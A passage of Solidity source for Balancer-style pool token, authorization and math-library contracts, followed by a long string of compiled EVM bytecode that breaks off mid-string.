function decreaseApproval(address spender, uint256 amount) external returns (bool) {
uint256 currentAllowance = _allowance[msg.sender][spender];
if (amount >= currentAllowance) {
_setAllowance(msg.sender, spender, 0);
} else {
_setAllowance(msg.sender, spender, currentAllowance.sub(amount));
}
return true;
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_move(msg.sender, recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
uint256 currentAllowance = _allowance[sender][msg.sender];
_require(msg.sender == sender || currentAllowance >= amount, Errors.INSUFFICIENT_ALLOWANCE);
_move(sender, recipient, amount);
if (msg.sender != sender && currentAllowance != uint256(-1)) {
// Because of the previous require, we know that if msg.sender != sender then currentAllowance >= amount
_setAllowance(sender, msg.sender, currentAllowance - amount);
}
return true;
}
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
// solhint-disable-next-line not-rely-on-time
_require(block.timestamp <= deadline, Errors.EXPIRED_PERMIT);
uint256 nonce = _nonces[owner];
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPE_HASH, owner, spender, value, nonce, deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ecrecover(hash, v, r, s);
_require((signer != address(0)) && (signer == owner), Errors.INVALID_SIGNATURE);
_nonces[owner] = nonce + 1;
_setAllowance(owner, spender, value);
}
// Public functions
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _DECIMALS;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function nonces(address owner) external view override returns (uint256) {
return _nonces[owner];
}
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
// Internal functions
function _mintPoolTokens(address recipient, uint256 amount) internal {
_balance[recipient] = _balance[recipient].add(amount);
_totalSupply = _totalSupply.add(amount);
emit Transfer(address(0), recipient, amount);
}
function _burnPoolTokens(address sender, uint256 amount) internal {
uint256 currentBalance = _balance[sender];
_require(currentBalance >= amount, Errors.INSUFFICIENT_BALANCE);
_balance[sender] = currentBalance - amount;
_totalSupply = _totalSupply.sub(amount);
emit Transfer(sender, address(0), amount);
}
function _move(
address sender,
address recipient,
uint256 amount
) internal {
uint256 currentBalance = _balance[sender];
_require(currentBalance >= amount, Errors.INSUFFICIENT_BALANCE);
// Prohibit transfers to the zero address to avoid confusion with the
// Transfer event emitted by `_burnPoolTokens`
_require(recipient != address(0), Errors.ERC20_TRANSFER_TO_ZERO_ADDRESS);
_balance[sender] = currentBalance - amount;
_balance[recipient] = _balance[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
// Private functions
function _setAllowance(
address owner,
address spender,
uint256 amount
) private {
_allowance[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../lib/helpers/Authentication.sol";
import "../vault/interfaces/IAuthorizer.sol";
import "./BasePool.sol";
/**
* @dev Base authorization layer implementation for Pools.
*
* The owner account can call some of the permissioned functions - access control of the rest is delegated to the
* Authorizer. Note that this owner is immutable: more sophisticated permission schemes, such as multiple ownership,
* granular roles, etc., could be built on top of this by making the owner a smart contract.
*
* Access control of all other permissioned functions is delegated to an Authorizer. It is also possible to delegate
* control of *all* permissioned functions to the Authorizer by setting the owner address to `_DELEGATE_OWNER`.
*/
abstract contract BasePoolAuthorization is Authentication {
address private immutable _owner;
address private constant _DELEGATE_OWNER = 0xBA1BA1ba1BA1bA1bA1Ba1BA1ba1BA1bA1ba1ba1B;
constructor(address owner) {
_owner = owner;
}
function getOwner() public view returns (address) {
return _owner;
}
function getAuthorizer() external view returns (IAuthorizer) {
return _getAuthorizer();
}
function _canPerform(bytes32 actionId, address account) internal view override returns (bool) {
if ((getOwner() != _DELEGATE_OWNER) && _isOwnerOnlyAction(actionId)) {
// Only the owner can perform "owner only" actions, unless the owner is delegated.
return msg.sender == getOwner();
} else {
// Non-owner actions are always processed via the Authorizer, as "owner only" ones are when delegated.
return _getAuthorizer().canPerform(actionId, account, address(this));
}
}
function _isOwnerOnlyAction(bytes32 actionId) private view returns (bool) {
// This implementation hardcodes the setSwapFeePercentage action identifier.
return actionId == getActionId(BasePool.setSwapFeePercentage.selector);
}
function _getAuthorizer() internal view virtual returns (IAuthorizer);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
_require(c >= a, Errors.ADD_OVERFLOW);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, Errors.SUB_OVERFLOW);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, uint256 errorCode) internal pure returns (uint256) {
_require(b <= a, errorCode);
uint256 c = a - b;
return c;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow checks.
* Adapted from OpenZeppelin's SafeMath library
*/
library Math {
/**
* @dev Returns the addition of two unsigned integers of 256 bits, reverting on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
_require(c >= a, Errors.ADD_OVERFLOW);
return c;
}
/**
* @dev Returns the addition of two signed integers, reverting on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
_require((b >= 0 && c >= a) || (b < 0 && c < a), Errors.ADD_OVERFLOW);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers of 256 bits, reverting on overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b <= a, Errors.SUB_OVERFLOW);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
_require((b >= 0 && c <= a) || (b < 0 && c > a), Errors.SUB_OVERFLOW);
return c;
}
/**
* @dev Returns the largest of two numbers of 256 bits.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers of 256 bits.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
_require(a == 0 || c / a == b, Errors.MUL_OVERFLOW);
return c;
}
function divDown(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
return a / b;
}
function divUp(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
if (a == 0) {
return 0;
} else {
return 1 + (a - 1) / b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over `owner`'s tokens,
* given `owner`'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
_HASHED_NAME = keccak256(bytes(name));
_HASHED_VERSION = keccak256(bytes(version));
_TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view virtual returns (bytes32) {
return keccak256(abi.encode(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION, _getChainId(), address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash));
}
function _getChainId() private view returns (uint256 chainId) {
// Silence state mutability warning without generating bytecode.
// See https://github.com/ethereum/solidity/issues/10090#issuecomment-741789128 and
// https://github.com/ethereum/solidity/issues/2691
this;
// solhint-disable-next-line no-inline-assembly
assembly {
chainId := chainid()
}
}
} | 0x608060405234801561001057600080fd5b50600436106101f05760003560e01c80637ecebe001161010f578063a9059cbb116100a2578063d5c096c411610071578063d5c096c4146103e6578063d73dd623146103f9578063dd62ed3e1461040c578063f89f27ed1461041f576101f0565b8063a9059cbb146103b0578063aaabadc5146103c3578063c0ff1a15146103cb578063d505accf146103d3576101f0565b80638d928af8116100de5780638d928af81461038557806395d89b411461038d5780639b02cdde146103955780639d2c110c1461039d576101f0565b80637ecebe0014610337578063851c1bb31461034a57806387ec68171461035d578063893d20e814610370576101f0565b806338e9922e11610187578063661884631161015657806366188463146102e8578063679aefce146102fb57806370a082311461030357806374f3b00914610316576101f0565b806338e9922e146102a457806338fff2d0146102b757806355c67628146102bf5780636028bfd4146102c7576101f0565b80631c0de051116101c35780631c0de0511461025d57806323b872dd14610274578063313ce567146102875780633644e5151461029c576101f0565b806306fdde03146101f5578063095ea7b31461021357806316c38b3c1461023357806318160ddd14610248575b600080fd5b6101fd610434565b60405161020a9190614647565b60405180910390f35b61022661022136600461401c565b6104cb565b60405161020a919061457e565b610246610241366004614113565b6104e2565b005b6102506104f6565b60405161020a91906145a1565b6102656104fc565b60405161020a93929190614589565b610226610282366004613f67565b610525565b61028f6105a8565b60405161020a91906146b3565b6102506105ad565b6102466102b236600461449d565b6105bc565b6102506105d5565b6102506105f9565b6102da6102d536600461414b565b6105ff565b60405161020a92919061469a565b6102266102f636600461401c565b610636565b610250610690565b610250610311366004613f13565b6106bb565b61032961032436600461414b565b6106da565b60405161020a929190614559565b610250610345366004613f13565b61077c565b610250610358366004614248565b610797565b6102da61036b36600461414b565b6107e9565b61037861080f565b60405161020a9190614532565b610378610833565b6101fd610857565b6102506108b8565b6102506103ab3660046143a1565b6108be565b6102266103be36600461401c565b6109a5565b6103786109b2565b6102506109bc565b6102466103e1366004613fa7565b610a80565b6103296103f436600461414b565b610bc9565b61022661040736600461401c565b610cec565b61025061041a366004613f2f565b610d22565b610427610d4d565b60405161020a9190614546565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104c05780601f10610495576101008083540402835291602001916104c0565b820191906000526020600020905b8154815290600101906020018083116104a357829003601f168201915b505050505090505b90565b60006104d8338484610d9a565b5060015b92915050565b6104ea610e02565b6104f381610e30565b50565b60025490565b6000806000610509610eae565b159250610514610ecb565b915061051e610eef565b9050909192565b6001600160a01b0383166000818152600160209081526040808320338085529252822054919261056391148061055b5750838210155b610197610f13565b61056e858585610f21565b336001600160a01b0386161480159061058957506000198114155b1561059b5761059b8533858403610d9a565b60019150505b9392505050565b601290565b60006105b7610ff0565b905090565b6105c4610e02565b6105cc61108d565b6104f3816110a2565b7ff33a6b68d2f6ae0353746c150757e4c494e0236600020000000000000000011790565b60075490565b600060606106158651610610611100565b610d65565b61062a898989898989896111246111ec611252565b97509795505050505050565b3360009081526001602090815260408083206001600160a01b03861684529091528120548083106106725761066d33856000610d9a565b610686565b61068633856106818487610d84565b610d9a565b5060019392505050565b60006105b761069d6104f6565b6106b56106a86109bc565b6106b0611100565b611374565b90611398565b6001600160a01b0381166000908152602081905260409020545b919050565b606080886107046106e9610833565b6001600160a01b0316336001600160a01b03161460cd610f13565b61071961070f6105d5565b82146101f4610f13565b60606107236113e9565b905061072f8882611666565b60006060806107438e8e8e8e8e8e8e611124565b9250925092506107538d846116c7565b61075d82856111ec565b61076781856111ec565b909550935050505b5097509795505050505050565b6001600160a01b031660009081526005602052604090205490565b60007f0000000000000000000000008e9aa87e45e92bad84d5f8dd1bff34fb92637de9826040516020016107cc9291906144ef565b604051602081830303815290604052805190602001209050919050565b600060606107fa8651610610611100565b61062a8989898989898961175a6117d7611252565b7f000000000000000000000000ba1ba1ba1ba1ba1ba1ba1ba1ba1ba1ba1ba1ba1b90565b7f000000000000000000000000ba12222222228d8ba445958a75a0704d566bf2c890565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104c05780601f10610495576101008083540402835291602001916104c0565b60085490565b6000806108ce8560200151611838565b905060006108df8660400151611838565b90506000865160018111156108f057fe5b1415610956576109038660600151611b4d565b60608701526109128583611b71565b945061091e8482611b71565b935061092e866060015183611b71565b60608701526000610940878787611b7d565b905061094c8183611bb8565b93505050506105a1565b6109608583611b71565b945061096c8482611b71565b935061097c866060015182611b71565b6060870152600061098e878787611bc4565b905061099a8184611bf7565b905061094c81611c03565b60006104d8338484610f21565b60006105b7611c1a565b600060606109c8610833565b6001600160a01b031663f94d46686109de6105d5565b6040518263ffffffff1660e01b81526004016109fa91906145a1565b60006040518083038186803b158015610a1257600080fd5b505afa158015610a26573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610a4e9190810190614047565b50915050610a6381610a5e6113e9565b611666565b6060610a6d611c94565b9050610a798183611ef1565b9250505090565b610a8e8442111560d1610f13565b6001600160a01b0387166000908152600560209081526040808320549051909291610ae5917f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918c918c918c9188918d91016145c9565b6040516020818303038152906040528051906020012090506000610b0882611f63565b9050600060018288888860405160008152602001604052604051610b2f9493929190614629565b6020604051602081039080840390855afa158015610b51573d6000803e3d6000fd5b5050604051601f1901519150610b9390506001600160a01b03821615801590610b8b57508b6001600160a01b0316826001600160a01b0316145b6101f8610f13565b6001600160a01b038b166000908152600560205260409020600185019055610bbc8b8b8b610d9a565b5050505050505050505050565b60608088610bd86106e9610833565b610be361070f6105d5565b6060610bed6113e9565b9050610bf76104f6565b610c9d5760006060610c0b8d8d8d8a611f7f565b91509150610c20620f424083101560cc610f13565b610c2e6000620f424061201a565b610c3d8b620f4240840361201a565b610c4781846117d7565b80610c50611100565b67ffffffffffffffff81118015610c6657600080fd5b50604051908082528060200260200182016040528015610c90578160200160208202803683370190505b509550955050505061076f565b610ca78882611666565b6000606080610cbb8e8e8e8e8e8e8e61175a565b925092509250610ccb8c8461201a565b610cd582856117d7565b610cdf81856111ec565b909550935061076f915050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916104d89185906106819086610d72565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606105b7611c94565b80610d61816120b0565b5050565b610d618183146067610f13565b60008282016105a18482101583610f13565b6000610d94838311156001610f13565b50900390565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610df59085906145a1565b60405180910390a3505050565b6000610e196000356001600160e01b031916610797565b90506104f3610e288233612129565b610191610f13565b8015610e5057610e4b610e41610ecb565b4210610193610f13565b610e65565b610e65610e5b610eef565b42106101a9610f13565b6006805460ff19168215151790556040517f9e3a5e37224532dea67b89face185703738a228a6e8a23dee546960180d3be6490610ea390839061457e565b60405180910390a150565b6000610eb8610eef565b4211806105b757505060065460ff161590565b7f0000000000000000000000000000000000000000000000000000000061c9dbf690565b7f0000000000000000000000000000000000000000000000000000000061c9dbf690565b81610d6157610d6181612219565b6001600160a01b038316600090815260208190526040902054610f4982821015610196610f13565b610f606001600160a01b0384161515610199610f13565b6001600160a01b03808516600090815260208190526040808220858503905591851681522054610f909083610d72565b6001600160a01b0380851660008181526020819052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fe29086906145a1565b60405180910390a350505050565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7f038260fc163ead3cd691671f2962e454457dcc1e2270ba7fda4e5bda46930ad37fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc661105d61226c565b306040516020016110729594939291906145fd565b60405160208183030381529060405280519060200120905090565b6110a0611098610eae565b610192610f13565b565b6110b564e8d4a5100082101560cb610f13565b6110cb67016345785d8a000082111560ca610f13565b60078190556040517fa9ba3ffe0b6c366b81232caab38605a0699ad5398d6cce76f91ee809e322dafc90610ea39083906145a1565b7f000000000000000000000000000000000000000000000000000000000000000290565b60006060806060611133611c94565b905061113d610eae565b1561117457600061114e828a611ef1565b905061115f8983600854848b612270565b925061116e8984610d84612380565b506111c0565b61117c611100565b67ffffffffffffffff8111801561119257600080fd5b506040519080825280602002602001820160405280156111bc578160200160208202803683370190505b5091505b6111cb8882876123eb565b90945092506111db888483612458565b600855509750975097945050505050565b60005b6111f7611100565b81101561124d5761122e83828151811061120d57fe5b602002602001015183838151811061122157fe5b6020026020010151612471565b83828151811061123a57fe5b60209081029190910101526001016111ef565b505050565b333014611310576000306001600160a01b0316600036604051611276929190614507565b6000604051808303816000865af19150503d80600081146112b3576040519150601f19603f3d011682016040523d82523d6000602084013e6112b8565b606091505b5050905080600081146112c757fe5b60046000803e6000516001600160e01b0319166343adbafb60e01b81146112f2573d6000803e3d6000fd5b506020600460003e604060205260243d03602460403e601c3d016000f35b606061131a6113e9565b90506113268782611666565b6000606061133d8c8c8c8c8c8c8c8c63ffffffff16565b509150915061135081848663ffffffff16565b8051601f1982018390526343adbafb603f1983015260200260231982016044820181fd5b60008282026105a184158061139157508385838161138e57fe5b04145b6003610f13565b60006113a78215156004610f13565b826113b4575060006104dc565b670de0b6b3a7640000838102906113d7908583816113ce57fe5b04146005610f13565b8281816113e057fe5b049150506104dc565b606060006113f5611100565b905060608167ffffffffffffffff8111801561141057600080fd5b5060405190808252806020026020018201604052801561143a578160200160208202803683370190505b5090508115611482577f00000000000000000000000000000000000000000000000000000000000000018160008151811061147157fe5b60200260200101818152505061148b565b91506104c89050565b6001821115611482577f0000000000000000000000000000000000000000000000000000000000000001816001815181106114c257fe5b6020026020010181815250506002821115611482577f00000000000000000000000000000000000000000000000000000000000000008160028151811061150557fe5b6020026020010181815250506003821115611482577f00000000000000000000000000000000000000000000000000000000000000008160038151811061154857fe5b6020026020010181815250506004821115611482577f00000000000000000000000000000000000000000000000000000000000000008160048151811061158b57fe5b6020026020010181815250506005821115611482577f0000000000000000000000000000000000000000000000000000000000000000816005815181106115ce57fe5b6020026020010181815250506006821115611482577f00000000000000000000000000000000000000000000000000000000000000008160068151811061161157fe5b6020026020010181815250506007821115611482577f00000000000000000000000000000000000000000000000000000000000000008160078151811061165457fe5b60200260200101818152505091505090565b60005b611671611100565b81101561124d576116a883828151811061168757fe5b602002602001015183838151811061169b57fe5b6020026020010151611374565b8382815181106116b457fe5b6020908102919091010152600101611669565b6001600160a01b0382166000908152602081905260409020546116ef82821015610196610f13565b6001600160a01b038316600090815260208190526040902082820390556002546117199083610d84565b6002556040516000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610df59086906145a1565b600060608061176761108d565b6060611771611c94565b9050600061177f828a611ef1565b905060606117928a84600854858c612270565b90506117a18a82610d84612380565b600060606117b08c868b612491565b915091506117bf8c82876124eb565b600855909e909d50909b509950505050505050505050565b60005b6117e2611100565b81101561124d576118198382815181106117f857fe5b602002602001015183838151811061180c57fe5b60200260200101516124fa565b83828151811061182557fe5b60209081029190910101526001016117da565b60007f00000000000000000000000013c99770694f07279607a6274f28a28c330864246001600160a01b0316826001600160a01b0316141561189b57507f00000000000000000000000000000000000000000000000000000000000000016106d5565b7f000000000000000000000000e6fd75ff38adca4b97fbcd938c86b987724318676001600160a01b0316826001600160a01b031614156118fc57507f00000000000000000000000000000000000000000000000000000000000000016106d5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316141561195d57507f00000000000000000000000000000000000000000000000000000000000000006106d5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614156119be57507f00000000000000000000000000000000000000000000000000000000000000006106d5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b03161415611a1f57507f00000000000000000000000000000000000000000000000000000000000000006106d5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b03161415611a8057507f00000000000000000000000000000000000000000000000000000000000000006106d5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b03161415611ae157507f00000000000000000000000000000000000000000000000000000000000000006106d5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b03161415611b4257507f00000000000000000000000000000000000000000000000000000000000000006106d5565b6106d5610135612219565b600080611b656007548461252d90919063ffffffff16565b90506105a18382610d84565b60006105a18383611374565b6000611b8761108d565b611bb083611b988660200151612571565b84611ba68860400151612571565b886060015161287b565b949350505050565b60006105a18383612471565b6000611bce61108d565b611bb083611bdf8660200151612571565b84611bed8860400151612571565b88606001516128f6565b60006105a183836124fa565b60006104dc611c1360075461296c565b8390612992565b6000611c24610833565b6001600160a01b031663aaabadc56040518163ffffffff1660e01b815260040160206040518083038186803b158015611c5c57600080fd5b505afa158015611c70573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b79190614270565b60606000611ca0611100565b905060608167ffffffffffffffff81118015611cbb57600080fd5b50604051908082528060200260200182016040528015611ce5578160200160208202803683370190505b5090508115611482577f00000000000000000000000000000000000000000000000009b6e64a8ec6000081600081518110611d1c57fe5b6020026020010181815250506001821115611482577f0000000000000000000000000000000000000000000000000429d069189e000081600181518110611d5f57fe5b6020026020010181815250506002821115611482577f000000000000000000000000000000000000000000000000000000000000000081600281518110611da257fe5b6020026020010181815250506003821115611482577f000000000000000000000000000000000000000000000000000000000000000081600381518110611de557fe5b6020026020010181815250506004821115611482577f000000000000000000000000000000000000000000000000000000000000000081600481518110611e2857fe5b6020026020010181815250506005821115611482577f000000000000000000000000000000000000000000000000000000000000000081600581518110611e6b57fe5b6020026020010181815250506006821115611482577f000000000000000000000000000000000000000000000000000000000000000081600681518110611eae57fe5b6020026020010181815250506007821115611482577f00000000000000000000000000000000000000000000000000000000000000008160078151811061165457fe5b670de0b6b3a764000060005b8351811015611f5357611f49611f42858381518110611f1857fe5b6020026020010151858481518110611f2c57fe5b60200260200101516129d490919063ffffffff16565b8390612a23565b9150600101611efd565b506104dc60008211610137610f13565b6000611f6d610ff0565b826040516020016107cc929190614517565b60006060611f8b61108d565b6000611f9684612a4f565b9050611fb16000826002811115611fa957fe5b1460ce610f13565b6060611fbc85612a65565b9050611fd0611fc9611100565b8251610d65565b611fdc81610a5e6113e9565b6060611fe6611c94565b90506000611ff48284611ef1565b90506000612004826106b0611100565b6008929092555099919850909650505050505050565b6001600160a01b03821660009081526020819052604090205461203d9082610d72565b6001600160a01b0383166000908152602081905260409020556002546120639082610d72565b6002556040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906120a49085906145a1565b60405180910390a35050565b6002815110156120bf576104f3565b6000816000815181106120ce57fe5b602002602001015190506000600190505b825181101561124d5760008382815181106120f657fe5b6020026020010151905061211f816001600160a01b0316846001600160a01b0316106065610f13565b91506001016120df565b600073ba1ba1ba1ba1ba1ba1ba1ba1ba1ba1ba1ba1ba1b61214861080f565b6001600160a01b031614158015612163575061216383612a7b565b1561218b5761217061080f565b6001600160a01b0316336001600160a01b03161490506104dc565b612193611c1a565b6001600160a01b0316639be2a8848484306040518463ffffffff1660e01b81526004016121c2939291906145aa565b60206040518083038186803b1580156121da57600080fd5b505afa1580156121ee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612212919061412f565b90506104dc565b62461bcd60e51b6000908152602060045260076024526642414c23000030600a808404818106603090810160081b95839006959095019082900491820690940160101b939093010160c81b604452606490fd5b4690565b60608061227b611100565b67ffffffffffffffff8111801561229157600080fd5b506040519080825280602002602001820160405280156122bb578160200160208202803683370190505b509050826122ca579050612377565b61233d877f0000000000000000000000000000000000000000000000000000000000000000815181106122f957fe5b6020026020010151877f00000000000000000000000000000000000000000000000000000000000000008151811061232d57fe5b6020026020010151878787612a95565b817f00000000000000000000000000000000000000000000000000000000000000008151811061236957fe5b602090810291909101015290505b95945050505050565b60005b61238b611100565b8110156123e5576123c68482815181106123a157fe5b60200260200101518483815181106123b557fe5b60200260200101518463ffffffff16565b8482815181106123d257fe5b6020908102919091010152600101612383565b50505050565b6000606060006123fa84612a4f565b9050600081600281111561240a57fe5b14156124255761241b868686612b0d565b9250925050612450565b600181600281111561243357fe5b14156124435761241b8685612beb565b61241b868686612c1d565b505b935093915050565b60006124678484610d84612380565b611bb08285611ef1565b60006124808215156004610f13565b81838161248957fe5b049392505050565b6000606060006124a084612a4f565b905060018160028111156124b057fe5b14156124c15761241b868686612c88565b60028160028111156124cf57fe5b14156124e05761241b868686612ce2565b61244e610136612219565b60006124678484610d72612380565b60006125098215156004610f13565b82612516575060006104dc565b81600184038161252257fe5b0460010190506104dc565b600082820261254784158061139157508385838161138e57fe5b806125565760009150506104dc565b670de0b6b3a764000060001982015b046001019150506104dc565b60007f00000000000000000000000013c99770694f07279607a6274f28a28c330864246001600160a01b0316826001600160a01b031614156125d457507f00000000000000000000000000000000000000000000000009b6e64a8ec600006106d5565b7f000000000000000000000000e6fd75ff38adca4b97fbcd938c86b987724318676001600160a01b0316826001600160a01b0316141561263557507f0000000000000000000000000000000000000000000000000429d069189e00006106d5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316141561269657507f00000000000000000000000000000000000000000000000000000000000000006106d